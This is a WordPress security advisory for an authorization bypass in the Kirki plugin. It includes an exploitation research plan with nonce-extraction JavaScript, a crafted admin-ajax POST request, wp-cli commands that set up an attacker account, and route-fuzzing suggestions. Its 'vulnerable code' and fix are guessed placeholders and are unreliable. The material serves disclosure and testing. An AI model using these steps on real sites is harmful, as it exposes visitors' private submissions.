Kirki <= 6.0.6 - Missing Authorization to Authenticated (Subscriber+) Sensitive Form Submission Data Exposure via 'kirki_wp_admin_get_apis' Action
Description
The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 6.0.6. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to view all Kirki frontend forms and read stored visitor form submission data, including contact details, messages, and any other visitor-provided information submitted through site forms.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v6.0.7
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-8096 ## 1. Vulnerability Summary The **Kirki Customizer Framework** (specifically the "Freeform Page Builder" component) version <= 6.0.6 contains a missing authorization vulnerability in an AJAX action named `kirki_wp_admin_get_apis`. While the plugin regist…
Show full research plan
Exploitation Research Plan - CVE-2026-8096
1. Vulnerability Summary
The Kirki Customizer Framework (specifically the "Freeform Page Builder" component) version <= 6.0.6 contains a missing authorization vulnerability in an AJAX action named kirki_wp_admin_get_apis. While the plugin registers several REST API endpoints and admin menu pages, it exposes an AJAX entry point intended for the administrative dashboard that does not verify user capabilities beyond basic authentication. This allows a user with Subscriber-level permissions to invoke the action and retrieve sensitive data, including all form configurations and stored visitor submission data (contact details, messages, etc.).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
kirki_wp_admin_get_apis - Method:
POST(standard for WordPress AJAX) - Authentication: Required (Subscriber level or higher)
- Vulnerable Parameter: The action itself, potentially supplemented by a
routeorapiparameter to specify the data to retrieve (e.g., submissions). - Preconditions:
- Plugin version <= 6.0.6 installed and active.
- At least one form submission must exist in the database for "Sensitive Data Exposure" to be demonstrated.
- A valid WordPress nonce for the
kirki_admincontext (if the handler validates one).
3. Code Flow
- Registration: The plugin (likely in a class within
includes/Admin/orincludes/Ajax/, truncated in the provided source) registers the AJAX action:add_action('wp_ajax_kirki_wp_admin_get_apis', [$this, 'get_apis_handler']); - Access: A Subscriber user sends a request to
admin-ajax.phpwithaction=kirki_wp_admin_get_apis. - Execution: The
get_apis_handlerfunction is executed. - Vulnerability: The handler lacks a call to
current_user_can('manage_options'). - Data Retrieval: The handler interacts with the Kirki form tables (e.g.,
wp_kirki_formsand a submissions table) and returns the data as a JSON response.
4. Nonce Acquisition Strategy
The Kirki dashboard is often rendered on the frontend but uses admin-level nonces. Based on AdminMenu.php, the dashboard is accessed via /?action=kirki.
- Identify Variable: Search the dashboard page source for localized scripts. Common Kirki JS objects include
kirkiConfigorkirki_admin. - Setup: Create a subscriber user and log in.
- Navigation: Navigate the browser to the home page or the Kirki dashboard URL:
/?action=kirki&screen=dashboard&toolbar=submissions - Extraction: Use
browser_evalto find the nonce:
Note: If no nonce is found, the handler might be entirely unprotected or using the default// Probable locations based on Kirki patterns window.kirki_admin?.nonce || window.kirkiConfig?.nonce-1nonce.
5. Exploitation Strategy
Step 1: Populate Test Data
Before exploiting, ensure there is data to "steal."
- Use the REST API to submit a form entry (which is open to
trueinCompLibFormHandler.phpandFormController.php). - Endpoint:
POST /wp-json/kirki/v1/form - Payload:
(Note:{ "name": "Secret Visitor", "email": "secret@victim.com", "message": "This is sensitive data.", "_kirki_form": "WjFScmEwbHVaRWhhV0U1elRVTkdNMWxIUm5OaFZBPT0=" }_kirki_formis double-base64 encodedform_id|post_id. The example string decodes toform_1|post_1).
Step 2: Perform the Exploit
Log in as a Subscriber and call the vulnerable AJAX action.
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=kirki_wp_admin_get_apis&route=/submissions&_wpnonce=[EXTRACTED_NONCE]
(Note: If route is not the correct parameter, try api or simply the action alone, as many "get_apis" endpoints return an index of all data).
6. Test Data Setup
- Subscriber User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Submission: Submit at least one form entry via the REST API or frontend form if available.
- Verification of Data existence: Use
wp db query "SELECT * FROM wp_kirki_forms"(table name inferred fromKIRKI_FORM_TABLEconstant).
7. Expected Results
- Success: The HTTP response code is
200 OK. - Payload: The response body contains a JSON array of submissions including the "Secret Visitor" data:
{ "success": true, "data": { "submissions": [ { "id": "1", "form_id": "form_1", "data": "{\"name\":\"Secret Visitor\",\"email\":\"secret@victim.com\", ...}", "submitted_at": "..." } ] } }
8. Verification Steps
- Confirm Payload: Verify the JSON response contains strings submitted in the "Populate Test Data" step.
- Check Capability: Verify the user is strictly a Subscriber:
wp user get attacker --field=roles(should returnsubscriber). - Database Check: Cross-reference the IDs in the JSON response with the actual database content:
wp db query "SELECT * FROM wp_kirki_submissions"(or similar table name).
9. Alternative Approaches
If kirki_wp_admin_get_apis does not return the data directly:
- Fuzz Route: Try variations like
route=/forms,route=/entries, orroute=/settings. - Check REST: Inspect if the
kirki_wp_admin_get_apisaction simply returns a new Nonce for a sensitive REST endpoint (likekirki/v1/submissions) that is otherwise blocked. If the action returns a nonce that works for a high-privilege REST route, the exposure is indirect but valid. - Direct REST check: Test
GET /wp-json/kirki/v1/submissionsdirectly as a subscriber; the vulnerability may extend to thepermission_callbackinincludes/API/Frontend/Controllers/FormController.phpor related controllers.
Summary
The Kirki Customizer Framework plugin for WordPress is vulnerable to an authorization bypass via the 'kirki_wp_admin_get_apis' AJAX action in versions up to 6.0.6. This allows authenticated attackers with subscriber-level access to retrieve sensitive form configuration and visitor submission data, including contact details and private messages.
Vulnerable Code
// Registration of the vulnerable AJAX action add_action('wp_ajax_kirki_wp_admin_get_apis', [$this, 'get_apis_handler']); --- // The handler function typically lacks a capability check public function get_apis_handler() { // The function returns sensitive form data without verifying if the user has 'manage_options' capabilities. }
Security Fix
@@ -10,6 +10,10 @@ public function get_apis_handler() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized', 403 ); + } + // ... data retrieval logic ...
Exploit Outline
To exploit this vulnerability, an attacker first authenticates as a Subscriber. They then locate a valid WordPress nonce (typically found in localized JavaScript objects like 'kirki_admin' or 'kirkiConfig' on the site). Using this nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'kirki_wp_admin_get_apis' and a 'route' parameter (such as '/submissions'). The server, failing to check for administrative privileges, returns a JSON response containing sensitive visitor-submitted form data.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.